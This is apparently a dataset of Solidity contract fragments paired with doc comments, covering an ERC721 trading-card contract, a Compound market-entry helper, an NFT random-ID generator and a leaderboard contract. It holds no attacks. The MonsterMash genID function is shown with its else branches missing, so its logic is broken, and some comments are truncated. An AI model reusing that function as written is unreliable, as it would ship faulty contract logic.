function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) {
// modulo bias is fine - creates rarity tiers etc
// will obviously revert is there are no cards of that type: this is expected - should never happen
if (rarity == Rarity.Common) {
return common[random % common.length];
} else if (rarity == Rarity.Rare) {
return rare[random % rare.length];
} else if (rarity == Rarity.Epic) {
return epic[random % epic.length];
} else if (rarity == Rarity.Legendary) {
return legendary[random % legendary.length];
} else if (rarity == Rarity.Mythic) {
// make sure a mythic is available
uint16 id;
uint64 limit;
bool set;
for (uint i = 0; i < mythic.length; i++) {
id = mythic[(random + i) % mythic.length];
(limit, set) = getLimit(id);
if (set && limit > 0){
return id;
}
}
// if not, they get a legendary :(
return legendary[random % legendary.length];
}
require(false);
return 0;
}
// can never adjust tradable cards
// each season gets a 'balancing beta'
// totally immutable: season, rarity
function replaceProto(
uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe
) public onlyGovernor {
ProtoCard memory pc = protos[index];
require(!seasonTradable[pc.season]);
protos[index] = ProtoCard({
exists: true,
god: god,
season: pc.season,
cardType: cardType,
rarity: pc.rarity,
mana: mana,
attack: attack,
health: health,
tribe: tribe
});
}
}
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721BasicToken is CardProto, SupportsInterfaceWithLookup, ERC721Basic {
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
// mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256);
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addNewTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function addNewTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
// ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
// ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns (string) {
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
using Strings for string;
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
/*** Constants ***/
// Configure these for your own deployment
string public constant NAME = "Gods Unchained";
string public constant SYMBOL = "GODS";
string public tokenMetadataBaseURI = "https://api.godsunchained.com/card/";
// Mapping from owner to list of owned token IDs
// EDITED: limit to 2^40 (around 1T)
mapping(address => uint40[]) internal ownedTokens;
uint32[] ownedTokensIndex;
/**
* @dev Constructor function
*/
constructor() public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return NAME;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return SYMBOL;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
return Strings.strConcat(
tokenMetadataBaseURI,
Strings.uint2str(_tokenId)
);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return cards.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
// EDITED: prevent overflow
require(length == uint32(length));
ownedTokens[_to].push(uint40(_tokenId));
ownedTokensIndex[_tokenId] = uint32(length);
}
// EDITED
// have to have in order to use array rather than mapping
function addNewTokenTo(address _to, uint256 _tokenId) internal {
super.addNewTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
// EDITED: prevent overflow
require(length == uint32(length));
ownedTokens[_to].push(uint40(_tokenId));
ownedTokensIndex.push(uint32(length));
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint32 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint40 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Gets the balance of the specified address - overrriden from previous to save gas
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
}
contract CardOwnershipTwo is ERC721Token {
uint public burnCount;
function getActiveCards() public view returns (uint) {
return totalSupply() - burnCount;
}
/**
* @param to : the address to which the card will be transferred
* @param id : the id of the card to be transferred
*/
function transfer(address to, uint id) public payable onlyOwnerOf(id) {
require(isTradable(cards[id].proto));
require(to != address(0));
_transfer(msg.sender, to, id);
}
function _transfer(address from, address to, uint id) internal {
clearApproval(from, id);
removeTokenFrom(from, id);
addTokenTo(to, id);
emit Transfer(from, to, id);
}
/**
* @param to : the address to which the cards will be transferred
* @param ids : the ids of the cards to be transferred
*/
function transferAll(address to, uint[] ids) public payable {
for (uint i = 0; i < ids.length; i++) {
transfer(to, ids[i]);
}
}
/**
* @param proposed : the claimed owner of the cards
* @param ids : the ids of the cards to check
* @return whether proposed owns all of the cards
*/
function ownsAll(address proposed, uint[] ids) public view returns (bool) {
require(ids.length > 0);
for (uint i = 0; i < ids.length; i++) {
if (!owns(proposed, ids[i])) {
return false;
}
}
return true;
}
/**
* @param proposed : the claimed owner of the card
* @param id : the id of the card to check
* @return whether proposed owns the card
*/
function owns(address proposed, uint id) public view returns (bool) {
return ownerOf(id) == proposed;
}
function burn(uint id) public onlyOwnerOf(id) {
burnCount++;
_burn(msg.sender, id);
}
/**
* @param ids : the indices of the tokens to burn
*/
function burnAll(uint[] ids) public {
for (uint i = 0; i < ids.length; i++){
burn(ids[i]);
}
}
/**
* @param to : the address to approve for transfer
* @param id : the index of the card to be approved
*/
function approve(address to, uint id) public {
require(isTradable(cards[id].proto));
super.approve(to, id);
}
/**
* @param to : the address to approve for transfer
* @param ids : the indices of the cards to be approved
*/
function approveAll(address to, uint[] ids) public {
for (uint i = 0; i < ids.length; i++) {
approve(to, ids[i]);
}
}
/**
* @param to : the address to which the token should be transferred
* @param id : the index of the token to transfer
*/
function transferFrom(address from, address to, uint id) public {
require(isTradable(cards[id].proto));
super.transferFrom(from, to, id);
}
/**
* @param to : the address to which the tokens should be transferred
* @param ids : the indices of the tokens to transfer
*/
function transferAllFrom(address from, address to, uint[] ids) public {
for (uint i = 0; i < ids.length; i++) {
transferFrom(from, to, ids[i]);
}
}
/**
* @return the number of cards which have been burned
*/
function getBurnCount() public view returns (uint) {
return burnCount;
}
}
contract CardIntegrationTwo is CardOwnershipTwo {
address[] public packs;
event CardCreated(uint indexed id, uint16 proto, uint16 purity, address owner);
function addPack(address approved) public onlyGovernor {
packs.push(approved);
}
modifier onlyApprovedPacks {
require(_isApprovedPack());
_;
}
function _isApprovedPack() private view returns (bool) {
for (uint i = 0; i < packs.length; i++) {
if (msg.sender == address(packs[i])) {
return true;
}
}
return false;
}
function createCard(address owner, uint16 proto, uint16 purity) public whenNotPaused onlyApprovedPacks returns (uint) {
ProtoCard memory card = protos[proto];
require(card.season == currentSeason);
if (card.rarity == Rarity.Mythic) {
uint64 limit;
bool exists;
(limit, exists) = getLimit(proto);
require(!exists || limit > 0);
limits[proto].limit--;
}
return _createCard(owner, proto, purity);
}
function _createCard(address owner, uint16 proto, uint16 purity) internal returns (uint) {
Card memory card = Card({
proto: proto,
purity: purity
});
uint id = cards.push(card) - 1;
_mint(owner, id);
emit CardCreated(id, proto, purity, owner);
return id;
}
/*function combineCards(uint[] ids) public whenNotPaused {
require(ids.length == 5);
require(ownsAll(msg.sender, ids));
Card memory first = cards[ids[0]];
uint16 proto = first.proto;
uint8 shine = _getShine(first.purity);
require(shine < shineLimit);
uint16 puritySum = first.purity - (shine * 1000);
burn(ids[0]);
for (uint i = 1; i < ids.length; i++) {
Card memory next = cards[ids[i]];
require(next.proto == proto);
require(_getShine(next.purity) == shine);
puritySum += (next.purity - (shine * 1000));
burn(ids[i]);
}
uint16 newPurity = uint16(((shine + 1) * 1000) + (puritySum / ids.length));
_createCard(msg.sender, proto, newPurity);
}*/
// PURITY NOTES
// currently, we only
// however, to protect rarity, you'll never be abl
// this is enforced by the restriction in the create-card function
// no cards above this point can be found in packs
}
contract PreviousInterface {
function ownerOf(uint id) public view returns (address);
function getCard(uint id) public view returns (uint16, uint16);
function totalSupply() public view returns (uint);
function burnCount() public view returns (uint);
}
contract CardMigration is CardIntegrationTwo {
constructor(PreviousInterface previous) public {
old = previous;
}
// use interface to lower deployment cost
PreviousInterface old;
mapping(uint => bool) public migrated;
function migrate(uint id) public {
require(!migrated[id]);
migrated[id] = true;
address owner = old.ownerOf(id);
uint16 proto;
uint16 purity;
(proto, purity) = old.getCard(id);
_createCard(owner, proto, purity);
}
function migrateAll(uint[] ids) public {
for (uint i = 0; i < ids.length; i++){
migrate(ids[i]);
}
}
}
|
* @dev Internal function to clear current approval of a given token ID Reverts if the given address is not indeed the owner of the token @param _owner owner of the token @param _tokenId uint256 ID of the token to be transferred/
|
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
| 6,500,504
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governance storage var ================================================================================================
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./partial_match/42/0xAfbBFf19E163078242dB71Aff355EFAA25799B26/sources/CompoundLeverageModule.sol
|
* Invoke enter markets from SetToken/ Compound's enter market function signature is: enterMarkets(address[] _cTokens)
|
function _enterMarket(ISetToken _setToken, ICErc20 _cToken) internal {
address[] memory marketsToEnter = new address[](1);
marketsToEnter[0] = address(_cToken);
uint256[] memory returnValues = abi.decode(
_setToken.invoke(address(comptroller), 0, abi.encodeWithSignature("enterMarkets(address[])", marketsToEnter)),
(uint256[])
);
require(returnValues[0] == 0, "Entering failed");
}
| 8,833,773
|
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./full_match/44787/0x31aa5951100e11b8A34Bc9D98a44De152Dc5d3a2/sources/contracts/vm/ops/token/IERC1155Ops.sol
|
@dev Number of provided opcodes for `IERC1155Ops`.
|
uint256 constant IERC1155_OPS_LENGTH = 2;
| 13,255,977
|
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./full_match/1/0x3b49ec0769D461FDFD2ed18dd69b3B8cb7788597/sources/MonsterMash.sol
|
Setup the value to swap in for the selected IDSelect a random ID, swap it out with an unselected one then shorten the selection range by 1
|
function genID() private returns(uint256) {
uint256 scope = MAX_Supply-scopeIndex;
uint256 swap;
uint256 result;
uint256 i = randomNumber() % scope;
if (swappedIDs[scope-1] == 0){
swap = scope-1;
swap = swappedIDs[scope-1];
}
if (swappedIDs[i] == 0){
result = i;
swappedIDs[i] = swap;
result = swappedIDs[i];
swappedIDs[i] = swap;
}
return result+1;
}
| 8,433,138
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/// @title Store lederboards in the Blockchain
/// @author Marcel Scherello blockscores@scherello.de
/// @notice Create a custom leaderboard and start counting the scores
/// @dev All function calls are currently implement without side effects
/// @dev v1.1.0
contract BlockScores {
struct Player {
bytes32 playerName;
address playerAddress;
uint score;
uint score_unconfirmed;
uint isActive;
}
struct Board {
bytes32 boardName;
string boardDescription;
uint numPlayers;
address boardOwner;
mapping (uint => Player) players;
}
mapping (bytes32 => Board) boards;
uint public numBoards;
address owner = msg.sender;
uint public balance;
uint public boardCost = 1000000000000000;
uint public playerCost = 1000000000000000;
modifier isOwner {
assert(owner == msg.sender);
_;
}
/**
Funding Functions
*/
/// @notice withdraw all funds to contract owner
/// @return true
function withdraw() isOwner public returns(bool) {
uint _amount = address(this).balance;
emit Withdrawal(owner, _amount);
owner.transfer(_amount);
balance -= _amount;
return true;
}
/// @notice change the costs for using the contract
/// @param costBoard costs for a new board
/// @param costPlayer costs for a new player
/// @return true
function setCosts (uint costBoard, uint costPlayer) isOwner public returns(bool) {
boardCost = costBoard;
playerCost = costPlayer;
return true;
}
/// @notice split the revenue of a new player between boardOwner and contract owner
/// @param boardOwner of the leaderboard
/// @param _amount amount to be split
/// @return true
function split(address boardOwner, uint _amount) internal returns(bool) {
emit Withdrawal(owner, _amount/2);
owner.transfer(_amount/2);
//emit Withdrawal(boardOwner, _amount/2);
boardOwner.transfer(_amount/2);
return true;
}
/// @notice Event for Withdrawal
event Withdrawal(address indexed _from, uint _value);
/**
Board Functions
*/
/// @notice Add a new leaderboard. Board hash will be created by name and creator
/// @notice a funding is required to create a new leaderboard
/// @param name The name of the leaderboard
/// @param boardDescription A subtitle for the leaderboard
/// @return The hash of the newly created leaderboard
function addNewBoard(bytes32 name, string boardDescription) public payable returns(bytes32 boardHash){
require(msg.value >= boardCost);
balance += msg.value;
boardHash = keccak256(abi.encodePacked(name, msg.sender));
numBoards++;
boards[boardHash] = Board(name, boardDescription, 0, msg.sender);
emit newBoardCreated(boardHash);
}
/// @notice Simulate the creation of a leaderboard hash
/// @param name The name of the leaderboard
/// @param admin The address of the admin address
/// @return The possible hash of the leaderboard
function createBoardHash(bytes32 name, address admin) pure public returns (bytes32){
return keccak256(abi.encodePacked(name, admin));
}
/// @notice Get the metadata of a leaderboard
/// @param boardHash The hash of the leaderboard
/// @return Leaderboard name, description and number of players
function getBoardByHash(bytes32 boardHash) constant public returns(bytes32,string,uint){
return (boards[boardHash].boardName, boards[boardHash].boardDescription, boards[boardHash].numPlayers);
}
/// @notice Overwrite leaderboard name and desctiption as owner only
/// @param boardHash The hash of the leaderboard to be modified
/// @param name The new name of the leaderboard
/// @param boardDescription The new subtitle for the leaderboard
/// @return true
function changeBoardMetadata(bytes32 boardHash, bytes32 name, string boardDescription) public returns(bool) {
require(boards[boardHash].boardOwner == msg.sender);
boards[boardHash].boardName = name;
boards[boardHash].boardDescription = boardDescription;
}
/// @notice event for newly created leaderboard
event newBoardCreated(bytes32 boardHash);
/**
Player Functions
*/
/// @notice Add a new player to an existing leaderboard
/// @param boardHash The hash of the leaderboard
/// @param playerName The name of the player
/// @return Player ID
function addPlayerToBoard(bytes32 boardHash, bytes32 playerName) public payable returns (bool) {
require(msg.value >= playerCost);
Board storage g = boards[boardHash];
split (g.boardOwner, msg.value);
uint newPlayerID = g.numPlayers++;
g.players[newPlayerID] = Player(playerName, msg.sender,0,0,1);
return true;
}
/// @notice Get player data by leaderboard hash and player id/index
/// @param boardHash The hash of the leaderboard
/// @param playerID Index number of the player
/// @return Player name, confirmed score, unconfirmed score
function getPlayerByBoard(bytes32 boardHash, uint8 playerID) constant public returns (bytes32, uint, uint){
Player storage p = boards[boardHash].players[playerID];
require(p.isActive == 1);
return (p.playerName, p.score, p.score_unconfirmed);
}
/// @notice The leaderboard owner can remove a player
/// @param boardHash The hash of the leaderboard
/// @param playerName The name of the player to be removed
/// @return true/false
function removePlayerFromBoard(bytes32 boardHash, bytes32 playerName) public returns (bool){
Board storage g = boards[boardHash];
require(g.boardOwner == msg.sender);
uint8 playerID = getPlayerId (boardHash, playerName, 0);
require(playerID < 255 );
g.players[playerID].isActive = 0;
return true;
}
/// @notice Get the player id either by player Name or address
/// @param boardHash The hash of the leaderboard
/// @param playerName The name of the player
/// @param playerAddress The player address
/// @return ID or 999 in case of false
function getPlayerId (bytes32 boardHash, bytes32 playerName, address playerAddress) constant internal returns (uint8) {
Board storage g = boards[boardHash];
for (uint8 i = 0; i <= g.numPlayers; i++) {
if ((keccak256(abi.encodePacked(g.players[i].playerName)) == keccak256(abi.encodePacked(playerName)) || playerAddress == g.players[i].playerAddress) && g.players[i].isActive == 1) {
return i;
break;
}
}
return 255;
}
/**
Score Functions
*/
/// @notice Add a unconfirmed score to leaderboard/player. Overwrites an existing unconfirmed score
/// @param boardHash The hash of the leaderboard
/// @param playerName The name of the player
/// @param score Integer
/// @return true/false
function addBoardScore(bytes32 boardHash, bytes32 playerName, uint score) public returns (bool){
uint8 playerID = getPlayerId (boardHash, playerName, 0);
require(playerID < 255 );
